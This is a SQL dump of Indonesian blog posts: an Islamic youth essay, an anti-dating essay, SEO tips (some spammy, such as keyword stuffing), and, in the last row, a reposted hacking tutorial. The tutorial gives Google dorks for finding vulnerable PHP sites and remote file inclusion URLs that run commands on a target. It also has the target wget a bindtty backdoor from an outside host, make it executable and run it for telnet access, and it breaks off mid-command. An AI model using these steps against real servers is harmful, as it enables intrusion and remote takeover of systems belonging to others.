Apa kita merasa enjoy bergaul dengan mereka yang kaya dan tenar tapi menyebalkan kepribadiannya? Saya pikir, kita perlu merenungkan hal itu.\r\n\r\nNah, hal ini tentu sama saja dengan keberadaan kita saat ini. Sebagai muslim, apakah kita cukup merasa puas diri hanya karena kita disekolahkan di sekolah Islam, apakah merasa sudah hebat ketika sudah menguasai ilmu pengetahuan agama, atau apakah merasa tenang ketika sudah mengenakan semua simbol-simbol agama? Itu belum cukup, Bro. Sebab, banyak dari kita yang disekolahkan di sekolah Islam atau pesantren, tapi kelakuannya tetep nggak mencirikan pribadi seorang muslim. Kepala sih pake kerudung, pinter baca al-Quran pula, tapi gaul bebas dengan lawan jenis dan bahkan jadi seleb di dunia hiburan. Lha, apa kita merasa puas cuma menyandang nama diri yang islami dan berbalut simbol agama tapi pikiran dan perasaan kita dijajah ideologi lain? Menyedihkan!\r\n\r\nPadahal, kalo ngeliat kebanyakan orang saat ini ingin menjadi bintang di mata manusia lainnya. Mengapa kita sebagai muslim, nggak merasa harus berlomba menjadi ‘Bukan Muslim Biasa’ di mata Allah dan juga di mata manusia? Tapi, yang terpenting di mata Allah. Kalo di mata manusia mah, khawatir terjerumus ke dalam penyakit hati macam riya’, ujub, dan takabbur yang bisa ngegerogoti pahala kita.\r\nSobat, sebenarnya menjadi muslim itu sendiri sudah menjadi bintang di dunia ini, dan insya Allah di akhirat. Kita umat pilihan. Firman Allah Swt., :” “Kamu adalah umat yang terbaik yang dilahirkan untuk manusia, menyuruh kepada yang ma’ruf, dan mencegah dari yang munkar, dan beriman kepada Allah” (QS Ali Imran [3]: 110)\r\n\r\nTapi, dalam hidup ini kita juga dianjurkan untuk selalu menjadi yang terbaik (seperti anjuran dalam ayat ini). Sebab, baik saja belum cukup. Harus yang terbaik. Memang praktiknya berat dan mungkin butuh konsistensi kita. Tapi kan bisa diusahakan. Bismillah deh, atas ijin Allah insya Allah pasti bisa. Sebab, Allah udah menjanjikan, bahwa bagi orang yang beriman dan beramal shalih, saling menasihati dalam kebenaran (Islam) dan kesabaran nggak bakalan rugi di dunia ini. Allah Swt. berfirman:\r\n\r\n<b>“Demi masa. Sesungguhnya manusia itu benar-benar berada dalam kerugian, kecuali orang-orang yang beriman dan mengerjakan amal saleh dan nasihat-menasihati supaya mentaati kebenaran dan nasihat-menasihati supaya menetapi kesabaran.” (QS al-‘Ashr [103]: 1-3)</b>\r\n\r\nYup, semoga saja, kita menjadi muslim pilihan. Bukan Muslim Biasa. Sehingga menjadi bintang di hadapan Allah Swt. Sebab, Dia nggak bakalan membuat kita kecewa. Kalo manusia masih bisa saling mengecewakan. Tapi Allah Swt. nggak pernah mengecewakan kita, apalagi kalo kita menjadi hambaNya yang terbaik.\r\n\r\nCuma masalahnya nih, jangan bermimpi menjadi muslim yang terbaik alias bukan muslim biasa, jika dalam kehidupan sehari-hari kita nggak mencerminkan pribadi muslim pilihan. Ya, Allah Mahatahu apa yang kita perbuat. Semua amalan kita akan dicatat.\r\n\r\nKalo manusia dengan manusia lainnya bisa saling menipu diri. Kita mungkin sering tertipu dengan penampilan manusia lainnya. Kita anggap baik, ternyata sebenarnya buruk. Tapi ingat, Allah nggak bakalan bisa kita tipu. Percayalah. Yuk, kita taat cuma kepadaNya.\r\n\r\n<h3>Menjadi manusia pilihan</h3>\r\nMenjadi mukmin itu sudah bisa dianggap bintang di antara manusia lainnya yang nggak beriman kepada Allah Swt.. Iman adalah ukuran pertama yang bisa membuat kita bukan manusia biasa. So, syarat pertama menjadi manusia pilihan Allah Swt. adalah beriman. Inilah yang akan menjadikan kita sebagai bintang di hadapan Allah Swt. mengalahkan bintang-bintang dalam penilaian sebatas akal dan hawa nafsu manusia.\r\n\r\nKedua, manusia yang berilmu. Ini sangat penting dan akan memberikan perbedaan dengan manusia pada umumnya, termasuk di antara kaum muslimin. Orang yang berilmu tentu lebih tinggi derajatnya ketimbang yang tak berilmu. Firman Allah Swt.: “… niscaya Allah akan meninggikan orang-orang yang beriman di antaramu dan orang-orang yang diberi ilmu pengetahuan beberapa derajat.” (QS al-Mujaadilah [58]: 11)\r\n\r\nNah, yang ketiga agar menjadi manusia pilihan Allah Swt. adalah, beramal shaleh. Wah, lengkap deh. Insya Allah menjadi bintang di atas bintang di hadapan Allah Swt. Nggak heran kan kalo sampe kita menjadi “bintang di surga”. Allah Swt. berfirman: “”Dan orang-orang yang bertakwa kepada Tuhannya dibawa ke dalam surga berombong-rombongan (pula). Sehingga apabila mereka sampai ke surga itu sedang pintu-pintunya telah terbuka dan berkatalah kepada mereka penjaga-penjaganya: ‘Kesejahteraan (dilimpahkan) atasmu, berbahagialah kamu! Maka masukilah surga ini, sedang kamu kekal di dalamnya’.” (QS az-Zumar [39]: 73)\r\n\r\nSubhanallah. Milih mana, menjadi bintang di dunia atau di surga? Enaknya sih nggak usah milih salah satu, dua-duanya kita pilih. Dan, itu hanya ada pada Islam. Islam yang akan menjadikan kita bintang di dunia sekaligus di surga. Asal, kita beriman, berilmu, bertakwa dan beramal shalih. Tuntunan hidup kita hanya aturan Allah Swt. dan RasulNya. Bukan yang lain. Siap kan? Insya Allah. Ayo, mulai berbenah menjadi manusia pilihan di mata Allah Swt. Bukan manusia biasa dan bukan muslim biasa. Bukan bintang biasa, tapi bintang di dunia dan sekaligus di akhirat. Bagaimana? Mau kan jadi bintang di hadapan Allah Swt.? [solihin. www.studia-online.com]',1,1,5);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (25,'2007-08-07 16:05:05','Jomblo Vs Pacaran','Jomblo Vs Pacaran \r\nSTUDIA \r\n \r\n\r\nJomblo. Satu kosakata yang sangat ditakuti oleh banyak orang saat ini terutama remaja. Why? Karena kosakata ini mengandung makna negatif yang bikin alergi. Suatu pertanda tidak lakunya seseorang untuk mendapatkan teman kencan dari lawan jenis. Idih…nggak laku? Emangnya jualan kolor?\r\n\r\nTapi asli kok, banyak banget remaja apalagi kalangan cewek yang merasa seperti kena kutukan kalo sampe predikat jomblo mereka sandang. Akhirnya dengan berbagai macam cara mereka berusaha untuk melepaskan kutukan ini meskipun dengan berbagai cara. Sudah nonton film 30 Hari Mencari Cinta? Di film itu kan menceritakan tiga orang remaja cewek yang sama-sama berada pada kondisi jomblo. Mereka membuat kesepakatan untuk mencari pacar dalam waktu 30 hari. Bagi yang menang, maka ia akan menjadi raja dan diperlakukan bak putri karena semua pekerjaan rumah akan dikerjakan oleh yang kalah.\r\n\r\nSingkat cerita, mereka bertiga benar-benar fokus untuk mendapatkan pacar dalam rentang waktu itu. Karena ngebetnya, sampai-sampai harga diri pun sempat akan tergadaikan ketika sang pacar menginginkan making love alias berhubungan seksual layaknya suami-istri. Belum lagi ngebetnya salah satu tokoh di sana pingin merasakan nikmatnya ciuman bibir sampai melatih diri dengan guling. Naudzhubillah.\r\n\r\nBelum lagi resiko bubarnya persahabatan yang mereka bina selama ini hanya karena cemburu dan khawatir pacarnya diembat sahabat sendiri. Meskipun ending-nya semua pacar-pacar karbitan itu pada bubar, tapi kita bisa melihat seberapa parah kondisi remaja kita saat ini terutama dalam pergaulannya.\r\n\r\nSo, ternyata predikat jomblo begitu menakutkan buat sebagian remaja yang miskin iman. Mereka lebih memilih jalan maksiat dengan pacaran daripada menyandang status ini. Meskipun seringkali dalam pacaran mereka juga merasa terpaksa. Bisa karena dipaksa teman, bisa karena dipaksa ortu, bisa juga dipaksa diri sendiri karena konsep diri yang salah. Jadi emang bisa banyak alasan.\r\n\r\nDipaksa teman terjadi bila teman satu genk pada punya cowok semua. Trus ada satu yang nganggur. Jadilah ada pemaksaan beramai-ramai supaya yang satu ini segera dapat gebetan. Udah deh, siapa aja boleh asal berstatus cowok. Waduh, gawat juga kan. Bisa-bisa sapi dipakein celana bisa diembat juga tuh saking nafsunya (hehehe…)\r\n\r\nOrtu bisa jadi mengambil peranan dalam ajang kemaksiatan ini. Ada loh beberapa tipe ortu yang kelimpungan ketika anak gadisnya belum punya pacar. Padahal anaknya sendiri udah nyadar bahwa ini adalah ajang berlumur dosa. Eh, ortunya ngotot agar sih anak nyari pacar. Tulalit banget kan?\r\n\r\nAtau bisa juga konsep diri remaja yang salah. Ia merasa merana tanpa punya pacar. Ia merasa jelek dan nggak laku ketika belum pernah merasakan rasanya pacaran. Ia akan jauh lebih bahagia bila ada cowok di sampingnya. Nah, ini adalah konsep yang salah dan menyesatkan.\r\n\r\nBelum lagi dorongan media baik TV, radio ataupun majalah yang menawarkan gaya hidup bebas dengan label pacaran yang semakin gencar dilakukan. Udah deh, itu semua adalah banyak faktor yang bikin remaja ngebet untuk bisa pacaran. Padahal, apa sih yang didapat oleh pacaran, adalah perbuatan yang bisa kamu putuskan dengan sadar. Jadi, tulisan kali ini akan membantu kamu untuk membuat keputusan benar dalam hidup. Jangan sampai kamu melakukan perbuatan yang salah dan membuatmu menyesal kemudian. Lanjut!\r\n\r\nKenapa harus pacaran?\r\nHayo…bisa nggak kamu jawab pertanyaan ini? Kenapa harus pacaran? Hmm…mungkin di antara kamu ada yang menjawab:\r\n‘biar nggak kuper’\r\n‘biar nggak dibilang nggak laku’\r\n‘biar ada cowok yang sayang sama kita’\r\n‘biar ada semangat untuk belajar’\r\n‘biar nggak malu dengan teman-teman yang pada punya pacar juga’\r\n‘sekedar pingin tahu rasanya’\r\ndll, masih banyak lagi alasan yang bisa kamu ajukan sebagai pembenaran. Oke deh, kita coba telaah satu per satu yah, masuk akal nggak sih alasan-alasan yang kamu punya itu.\r\n\r\nPacaran, adalah aktivitas yang dilakukan berdua dengan sang kekasih sebelum menikah. Aktivitas atau kegiatan ini bisa bermacam-macam bentuknya. Bisa nonton bareng, makan bakso berdua, jalan berdua atau belajar bersama. Tapi alasan terakhir ini kayaknya banyak nggak jadi belajarnya deh karena pada sibuk mantengin gebetan masing-masing. Iya apa iya?\r\n\r\nKalo kamu sekedar takut dibilang kuper karena nggak mau pacaran, maka mereka para aktivis pacaran itulah yang sebenarnya orang paling kuper dan kupeng sedunia. Why? Karena saya yakin orang pacaran itu dunianya akan berkutat dari pengetahuan tentang doi aja. Coba kamu tanya apa dia tahu perkembangan teknologi terkini? Apa dia tahu di Palestina itu ada masalah apaan sih? Apa dia juga tahu kalo Amerika itu ternyata adalah teroris sejati?\r\n\r\nYakin deh, pasti mereka yang suka pacaran itu nggak bakalan tahu topik beginian. Kalo begitu, mereka itulah yang kuper dan kupeng. Paling tahunya cuma apa hobi sang pacar, apa wakna favoritnya, apa makanan kesukaannya, dll. Coba Tanya berapa nilai ulangan matematikanya, fasih nggak bahasa Inggris-nya, bagus nggak karangan bahasa Indonesia-nya, dan hal-hal seputar itu, pasti deh aktivis pacaran pada bloon untuk hal beginian. Kalo pun ada yang pintar, itu sama sekali nggak ada hubungannya dengan pacaran sebagai semangat belajar.\r\n\r\nSebaliknya, pacaran adalah adalah ajang maksiat. Bukankah sudah dikatakan oleh Rasulullah saw., “Barangsiapa beriman kepada Allah dan hari akhir, maka tidak boleh baginya berkhalwat (berdua-duaan) dengan seorang wanita, sedangkan wanita itu tidak bersama mahramnya. Karena sesungguhnya yang ketiga di antara mereka adalah setan” (HR Ahmad)\r\n\r\nWaduh, emang kamu mau jadi temannya setan? Hiii, naudzubillah banget tuh.\r\nJangan beralasan kamu kuat iman, maka tetep aja ngeyel berdua-duaan. Banyak tuh kasus ngakunya aktivis rohis dan niatnya dakwah eh..malah kebablasan pacaran. Teman SMA saya dulu aja ada yang MBA alias Married By Accident alias lagi hamil di luar nikah karena pacaran. Udah sekolahnya nggak bisa lanjut karena perutnya semakin gendut, ia adalah pihak yang dirugikan. Tuh, si laki-laki yang menghamili bisa dengan enaknya melanjutkan sekolah sampe tuntas. Belum lagi beban dosa besar yang harus ia tanggung. Ingat, berzina adalah salah satu dosa besar yang hanya bisa ditebus dengan taubatan nasuha. Taubat yang sungguh-sungguh dan tak akan pernah mengulangi lagi. Bukan taubat jenis tomat, saat ini tobat, besok kumat. Duh, itu sih namanya main-main alias nggak serius dan mau berubah total. Nggak baik, Non!\r\n \r\nJomblo adalah pilihan\r\nKok bisa? Di saat teman-teman pada risih dengan status jomblo, masa’ sih malah bisa dijadikan status pilihan? Bisa aja, why not gitu loh? Lagian tergantung persepsi kan?\r\n\r\nKondisi jomblo adalah kondisi yang independen, mandiri. Di saat teman-teman cewek lain serasa nggak bisa hidup tanpa gebetan, kamu merasa sebaliknya. Nggak harus jadi cewek tuh aleman, manja, tergantung ke cowok, dan merasa lemah. Huh…jijay bajay banget. Jadi cewek kudu punya pendirian, nggak asal ikut-ikutan. Meskipun teman satu sekolah memilih pacaran sebagai jalan hidup, kamu tetap keukeuh dengan prinsip: “jomblo tapi sholihah”. Huhuy!\r\n\r\nDulu, waktu saya masih duduk manis di bangku SMP dan SMA, ada seorang teman yang ngebet banget pingin punya pacar. Sampe-sampe kalo ada kuis di majalah remaja tentang siap-enggaknya pacaran, doi termasuk yang rajin mengisi untuk tahu jawabannya. Ternyata doi tipe yang sudah siap banget. Akhirnya fokus perhatian dia hanya ke cita-cita pingin punya pacar dan pacar mulu. Prestasi sekolah jadi anjlok. Padahal ternyata nggak ada yang mau sama doi (backsound : Kacian banget!).\r\n\r\nNah, beda kasus dengan muslimah sholihah. Ada atau nggak ada yang mau, dia nggak bakal ambil pusing. Mikirin rumus fisika aja sudah cukup pusing, pake mikir hal lain. Maksudnya, mikirin pacar atau pacaran adalah sesuatu yang nggak penting bagi dirinya. Selain ngabisin waktu dan energi, yang pasti menguras konsentrasi dan emosi.\r\n\r\nKalo kamu jadi cewek sudah oke, baik di otaknya, kepribadiannya apalagi akhlaknya, jadi jomblo bukan sesuatu yang terpaksa tuh. Malah jomblo adalah sebuah kebanggaan. Kamu bisa tunjukkan kalo jomblo adalah harga diri. Menjadi jomblo bukan karena nggak ada yang mau, tapi kitanya yang emang nggak mau kok sama cowok-cowok anak kecil itu. Lho, kok?\r\n\r\nIya, cowok kalo beraninya cuma pacaran itu namanya masih cowok kecil. Masa’ masih kecil udah pacaran. Huh! Kalo cowok yang udah dewasa, pasti ia nggak berani pacaran, tapi langsung dating ke ortu si cewek dan ngelamar. Merit deh jadinya. Selain menunjukkan tanggung jawab, cowok dewasa tahu kalo pacaran cuma ajang tipu-tipu dan aktivitas berlumur dosa. Hayo…pada berani nggak cowok-cowok kecil itu?\r\n \r\nJomblo tapi sholihah\r\nJangan pernah takut diolok teman sebagai jomblo. Jangan pernah malu disebut nggak laku. Toh, mereka yang berpacaran saat ini belum tentu juga jadi nikah nantinya. Tul nggak? Malah yang banyak adalah putus di tengah jalan, patah hati terus bunuh diri. Hiii, naudzubillah. Atau bisa jadi karena takut dibilang jomblo malah dapat predikat MBA tanpa harus kuliah alias Married By Accident.\r\n\r\nLagipula, cewek kalo mau dipacarin kesannya adalah cewek gampangan. Gampang aja dibohongin, gampang diboncengin, gampang dijamah, dan gampang-gampang yang lain. Idih…nggak asyik banget! Toh, nantinya para cowok itu juga bakal males sama cewek beginian karena udah tahu ‘dalemannya’, mereka pinginnya dapat cewek baik-baik.\r\n\r\nTerlepas apa motivasi mereka, yang pasti kamu kudu punya patokan atau standar tersendiri. Kamu nggak mau pacaran karena itu dosa. Kamu memilih jomblo karena itu berpahala dan jauh dari maksiat. Kamu nggak bakal ikut-ikutan pacaran karena takut dibilang jomblo dan nggak gaul. Kamu tetap keukeuh pada pendirian karena muslimah itu orang yang punya prinsip. Itu artinya, kamu selalu punya harga diri atas prinsip yang kamu pegang teguh. Iya nggak seh? \r\n\r\nKarena banyak juga mereka yang meskipun sudah menutup aurat dengan kerudung gaul, masih enggan disebut jomblo. Jadilah mereka terlibat affair bernama pacaran sekadar untuk gaya-gayaan. Bener-benar nggak ada bedanya dengan mereka yang nggak pake kerudung. Malah parahnya, masyarakat akan antipati sama muslimah tipe ini. Berkerudung tapi pacaran. Berkeredung tapi masih suka boncengan sama cowok non mahrom. Berkerudung tapi sering berduaan sama cowok dan runtang-runtung nggak jelas juntrungannya. Padahal, kelakuannya yang model begitu itu bisa membuat jelek citra kerudung, imej Islam jadi rusak, dan tentunya doi bikin peluang orang lain untuk menilai dan memukul rata bahwa doi mewakili muslimah. Parah banget!\r\n\r\nIntinya, predikat jomblo jauh lebih mulia kalo kamu menghindari pacaran karena takut dosa. Menjadi jomblo jauh lebih bermartabat kalo itu diniatkan menjauhi maksiat. Menjadi jomblo sama dengan sholihah kalo itu diniatkan karena Allah semata. Bukankah hidup ini cuma sementara saja? Jadi rugi banget kalo hidup sekali dan itu nggak dibikin berarti. Jadi kalo ada yang rese dengan kamu karena status jomblomu, katakan saja ‘jomblo tapi sholihah, so what gitu loh!’. Hidup jomblo! [riafariana: riafariana@yahoo.com]',1,1,5);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (26,'2007-08-08 15:06:58','Bikin Situs jadi TOP Ranking setiap SEARCH ENGINE','Bikin Situs jadi TOP Ranking setiap SEARCH ENGINE\r\n\r\nIni contoh hasil dari tips-tips di bawah. Cobak kamu bukak google search trus masukkan keyword AMIKOM, nah hasilnya pasti kayak gini.\r\n<img src=\'http://mamat.amikom.ac.id/img_collections/amikomgoogle.gif\' alt = \'amikom ada di google\'>\r\n\r\nAda lagi Mamat Zone juga di Top Rangking padahal launchingnya tangal 16 July 2007 kemarin. Wah senengnya ^_^\r\n<img src=\'http://mamat.amikom.ac.id/img_collections/mamatgoogle.gif\' alt = \'mamat zone ada di google\'>\r\n\r\nBerikut adalah tips-tipsnya met mencoba.. :)\r\nPertama-tama yang harus diperhatikan sebelum membeli sebuah domain, carilah nama yang tepat sebelum membeli, karena nama domain juga menjadi pertimbangan search engine dalam pencarian.\r\n\r\nKedua, berikanlah nama halaman yang tepat pada halaman situs yang anda harapkan tampil di urutan teratas melulu di search engine.\r\nMisalnya : http://www.speedytown.com/cari+uang+gampang+dan+cepat+kaya+mendadak.html\r\n\r\n\r\nKetiga : Berpikirlah seolah-olah anda seorang visitor yang sedang mencari di search engine, gunakan kata “saya” dan bukan “anda” dalam isi artikel / tulisan anda.\r\n\r\nKeempat : Bikinlah title / judul halaman yang kira-kira menjadi kata kunci / keywords orang-orang yang mencari di search engine. Ini elemen yang sangat penting.\r\n\r\nKelima : Isi website anda usahakan mempunyai isi yang sangat panjang, dalam hal ini isi tulisan artikel anda.\r\n\r\nKeenam : Jika terdapat image di halaman anda, berikan nama file yang tepat ke file image dan simpanlah di server website anda. Sering kali hal ini diremehkan, padahal banyak sekali orang yang mencari gambar di search engine dan siapa tahu gambar anda muncul dan orang akan masuk ke website anda melalui gambar tersebut.\r\n\r\nKetujuh : Bikin halaman yang banyak diserver anda dengan rich content juga (maksudnya isi artikel yang panjang), dan berikan hyperlink satu sama yang lain biar bisa saling mendukung dan pada akhirnya Google Page Rank anda akan terangkat / terdongkrak.\r\n\r\nKedelapan : Bikin artikel yang kira-kira menjadi favorit bagi banyak orang.\r\n\r\nKesembilan : Jika anda tidak mempunyai space banyak diserver sehingga halaman2 di website anda sedikit, jangan takut, ajak tukaran link atau lebih ekstrim, belilah LINK (pasang iklan) ke situs2 yang mempunyai Google Page Rank yang lebih tinggi, atau setidaknya pasang iklan disitus yang pengunjungnya ramai karena GoogleBot akan rajin mengupdate halaman2 web anda.\r\n\r\nKesepuluh : Submit website anda ke search engine2 sebanyak mungkin misalnya : Yahoo, Google, AltaVista (walaupun tidak terlalu perlu), HotBot, GigaBlast, Windows Live, MSN dan lain-lain.\r\n\r\nKesebelas : usahakan perbanyak / update terus artikel / halaman2 di webpage anda, jangan diperpendek, lebih baik diperpanjang / diperkaya / diperbanyak.\r\n\r\nKeduaBelas : Usahakan isi artikel anda berbelit-belit misalnya menggunakan kata “alias” atau kata “atau”. contoh isi : CARA CARI UANG MUDAH / GAMPANG / SANTAI DALAM SEKEJAP ALIAS CARI DUIT TANPA USAHA , bla..bla..bla.\r\n\r\nKetigabelas : Ulangi kalimat yang dianggap penting beberapa kali, dan inipun sangat berpengaruh posisi anda di search engine.\r\n\r\nKeempatbelas : Promosikan link anda di situs-situs berisi forum diskusi, taruh di signature atau di shoutbox (mereka click atau tidak click, no problem).\r\n\r\nKelimabelas : Sukses buat anda jika anda mengikuti langkah-langkah diatas, saya jamin posisi search engine anda akan selalu diatas.\r\n\r\nKunci sukses : Jangan takut dengan webpage-webpage yang sudah mapan, dengan Google Page Rank yang masih nol saja kita bisa mengalahkan para “Goliat”.\r\n\r\n<h3>Referensi lain</h3>\r\n\r\nHow can I increase my search engine ranking?\r\nFebruary 18, 2001 / Revised - July 25, 2003\r\nRob Taylor, President & Lead Developer, TConsult, Inc.\r\n\r\nYou\'ve built it. It\'s finally done. Subscribe it to the search engines and away you go. You\'re rich and famous! Not exactly. Search engines are not going to provide you mass amounts of fame and fortune. Consistently staying ranked high in them takes time and effort. While search engine ranking is somewhat overrated, it is extremely important because it\'s free (or almost free) traffic. Below are some things you can do to optimize your search engine ranking.\r\n\r\nMeta Keyword Tags\r\nKeyword tags are ignored by most search engines. Keyword tags were the prime contributing factor to ranking at one time. As the WWW grew, search engines began ignoring keyword tags due to inaccurate content. People can put popular words and phrases in their keyword tags that have nothing to do with their site.\r\n\r\nMeta Description Tags\r\n\r\n<textarea name=\"textarea\" cols=\"60\" rows=\"10\" disabled=\"disabled\">\r\n<meta http-equiv=Content-Type content=\"text/html; charset=iso-8859-1\">\\\"\r\n<meta name=\"description\" content=\"search engine optimation and ranking strategies. Tips on how to build Web pages that will rank high in search engines.\">\r\n</textarea>\r\n\r\nPage Title\r\n<TITLE>search engine optimization ranking increase tips strategies</TITLE>\r\nVery important. 5 - 8 words long. Make sure the title is in direct relation to your content on the page. It\'s best if the same words in your title are also used in the body of the document but don\'t over do it. Try not to use the title of the page word for word in the body of the page. This could be seen as spamming. Leave out meaningless words like \"the\", \"or\", \"I\", \"and\". Use descriptive words that people will search by. Remember that the words to the left carry more weight than words to the right. Start your title with the words most will search by. It always seems to work best leaving everything lower case. Some search engines do not discriminate against plural versions and some engines do. That\'s luck of the draw. Do not repeat words in the same title. \r\n\r\nLink Popularity\r\nIf you can get your Website linked from other popular Websites then it makes your site more appealing to search engines. Please note that this does not refer to link exchange programs. Pages full of links are not popular pages in most search engines. What you want to do is get your Website linked from popular pages, not just somewhere on a popular Website. Here is a great article about how Google determines site popularity.\r\nReciprocal Linking is Dead. Long Live Link Popularity!\r\n\r\nHeading tags\r\n\r\n<textarea name=\"textarea\" cols=\"60\" rows=\"10\" disabled=\"disabled\"><H1>,</h1>\r\n<H2>,</h2>\r\n<H3>,</h3>\r\n<H4>,</h4>\r\n<H5> </h5>\r\n</textarea>\r\nHeading tags are looked at by some search engines as a direct indicator of what this page is about. The only thing annoying about these tags is they leave large blocks of space in your page. None the less they do work.\r\n\r\nFlow\r\nSearch engines like to see search words appear multiple (not grossly multiple) times on a page with a good distribution across the page.\r\n\r\nKey words in links\r\nUsing a search word in a link is a big plus. If you think most people will find your site by searching with the word \"motorcycle\" then use the word motorcycle in a link on the page if possible.\r\n\r\nAlternate text for images\r\n\"alt\" tags on images. If the graphic descriptions match the overall page description you have proven you are a quality content resource. You also score big points with handicapped people as these alt tags are used to describe content when it cannot be seen.\r\n\r\nAvoid Repetition\r\nDon\'t over do it. Use a nice even flow of content and descriptors but do not over load your pages with repeating content.\r\n\r\nAvoid Redirecting\r\nDon\'t build false pages packed full of content that redirect the user to the home page when they load. Many people do this especially if their pages are heavily data driven. Redirecting does not work. Pages that have scripts in them to redirect upon page loading are almost always sniffed out and will never be ranked.\r\n\r\nSubmitting\r\nYou should only have to submit your Web site one time to the major search engines. Once a search engine adds one of your pages to their index it will crawl (also called spider) your Web site periodically and index all your pages including new pages. Submit the home page and let the engine do it\'s work. If you have paid for inclusion then you likely will be paying on a per page basis. Thus, you must submit each page but only submit it one time.\r\n\r\nOptimization Software\r\nYou can find software on the market such as Webposition Gold that will help you optimize your search engine ranking in many engines. Each search engine has different ranking criteria. Your page may be #1 in google but #56 in AltaVista. Use tools like these to help you build pages that will rank as high as possible in many engines.\r\n\r\nIt takes time\r\nUnless you pay for inclusion, most engines take 6 - 20 weeks to index you. It does not happen overnight.\r\n\r\nMore\r\nChat with other Search Engine Optimization Specialists\r\nSEO Chat Forums\r\n\r\nSubmit Express will submit your site to all the major search engines for free\r\nhttp://www.submitexpress.com\r\n\r\nBruce Clay has the best search engine article ever written at bruceclay.com\r\nhttp://www.bruceclay.com/Web_rank.htm ',1,1,7);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (27,'2007-08-11 08:12:10','SUPER KIDDIES HACKING: \"PHP SUPER BUGS\"','Berhubung server ada yang diserang, aq cari-cari file artikel jamannya seneng2 begadang ma internet dan dunia ingin tau supper tinggi. Maaf semuanya sebenarnya dah tau caranya tapi <B>\"GAK ADA WAKTU UNTUK BETULIN BUG ITU\"</B> modusnya sih seperti ini( artikel dibawah ) , mudah-mudahan menjadi referensi bagi programer lain.\r\n\r\nFile dengan CHMOD 777 dari jaman gak enak dulu, waktu bikin web itu alamiah. Kenapa alamiah karena buat upload file misal image. Wah klo sampek ke HACK gini gimana? YAA nerubah struktur codingnya, tp WEK haduh kelamaan BOS. Cara paling yahut ya dengan upload file dengan sistem FTP. Yuuk coding lagi, ngaku programer Kok males. hehe :P\r\n\r\nSUPER KIDDIES HACKING: \"PHP SUPER BUGS\"\r\nAuthor : K-159\r\nChanel : #indohackinglink, #hackercrew\r\nReference : security-corporations.com, security-focus.com, bugs-traq, google.com\r\n--------------------------------------------------------------------------------------------------------\r\n\r\n1. allinurl filename\r\nbugs filename ini targetnya dapat kita cari dengan keyword \"allinurl:*.php?filename=*\".\r\nkeyword \'*.php\' bisa di ganti dengan apa saja, misalnya dengan index.php. maka keyword yang kita masukkan di google adalah \"allinurl:index.php?filename=*\". Setelah mendapatkan target maka buat lah urlnya jadi seperti ini:\r\n\" http://www.target.com/target/index.php?filename=http://www.geocities.com/inul_asoy/injex.txt?&cmd=ls -al;uname -ar;id;pwd;cat /etc/hosts \"\r\nkita juga bisa mencoba target lainnya nya dg keyword base.php, page.php, content.php, view.php, imageview.php, modules.php, dsb.\r\n\r\n2. allinurl content\r\nbugs content ini targetnya dapat kita cari dengan keyword \"allinurl:*.php?content=\".\r\nkeyword \'*.php\' bisa di ganti dengan file apa saja, misalnya dengan index.php. maka keyword yang kita masukkan di google adalah \"allinurl:index.php?content=\". Setelah mendapatkan target maka buat lah urlnya jadi seperti ini:\r\n\" http://www.target.com/target/index.php?content=http://www.geocities.com/inul_asoy/injex.txt?&cmd=ls -al;uname -ar;id;pwd;cat /etc/hosts \"\r\nkita juga bisa mencoba target lainnya nya dg keyword base.php, page.php, content.php, view.php, imageview.php, modules.php, dsb.\r\n\r\n3. allinurl page\r\nbugs page ini targetnya dapat kita cari dengan keyword \"allinurl:*.php?page=*\".\r\n\'*.php\' bisa di ganti dengan file apa saja, misalnya dengan index.php. maka keyword yang kita masukkan di google adalah \"allinurl:index.php?page=\". Setelah mendapatkan target maka buat lah urlnya jadi seperti ini:\r\nhttp://www.target.com/target/index.php?page=http://www.geocities.com/inul_asoy/injex.txt?&cmd=ls -al;uname -ar;id;pwd;cat /etc/hosts\r\nkita juga bisa mencoba target lainnya nya dg keyword base.php, page.php, content.php, view.php, imageview.php, modules.php, dsb.\r\n\r\n4. allinurl link\r\nbugs filename ini targetnya dapat kita cari dengan keyword \"allinurl:*.php?link=*\".\r\nkeyword \'*.php\' bisa di ganti dengan file apa saja, misalnya dengan index.php. maka keyword yang kita masukkan di google adalah \"allinurl:index.php?link=*\". Setelah mendapatkan target maka buat lah urlnya jadi seperti ini:\r\nhttp://www.target.com/target/index.php?link=http://www.geocities.com/inul_asoy/injex.txt?&cmd=ls -al;uname -ar;id;pwd;cat /etc/hosts\r\nkita juga bisa mencoba target lainnya nya dg keyword base.php, page.php, content.php, view.php, imageview.php, modules.php, dsb.\r\n\r\n5.allinurl file\r\nbugs file ini targetnya dapat kita cari dengan keyword \"allinurl:*.php?file=*\".\r\n\'*.php\' bisa di ganti dengan file apa saja, misalnya dengan index.php. maka keyword yang kita masukkan di google adalah \"allinurl:index.php?file=*\". Setelah mendapatkan target maka buat lah urlnya jadi seperti ini:\r\nhttp://www.target.com/target/index.php?file=http://www.geocities.com/inul_asoy/injex.txt?&cmd=ls -al;uname -ar;id;pwd;cat /etc/hosts\r\nkita juga bisa mencoba target lainnya nya dg keyword base.php, page.php, content.php, view.php, imageview.php, modules.php, dsb.\r\n\r\nSetelah mendapatkan target yang vulnerable ada beberapa hal yang bisa kita lakukan :\r\nI. install bindtty telnet\r\n1.buat url seperti ini:\r\n\" http://www.target.com/target/index.php?filename=http://www.geocities.com/inul_asoy/injex.txt?&cmd=wget http://nofry.port5.com/bind1 -O /tmp/httpd \"\r\nurl diatas untuk melakukan wget bindtty telnet ke server target dan hasil wget nya di taruh di folder /tmp dg nama file httpd.\r\n2.lalu ubah file httpd yg berada di folder /tmp tadi jadi file eksekusi:\r\n\" http://www.target.com/target/index.php?filename=http://www.geocities.com/inul_asoy/injex.txt?&cmd=chmod 755 /tmp/httpd \"\r\n3.eksekusi file httpd tadi :\r\n\" http://www.target.com/target/index.php?filename=http://www.geocities.com/inul_asoy/injex.txt?&cmd=/tmp/httpd \"\r\n4. buka telnet ke IP target sesuai dg port bindttynya\r\n\r\nII. install Cgi-telnet\r\n1.buat url seperti ini :\r\n\" http://www.target.com/target/index.php?filename=http://www.geocities.com/inul_asoy/injex.txt?&cmd=wget http://nofry.port5.com/pees.pl -O 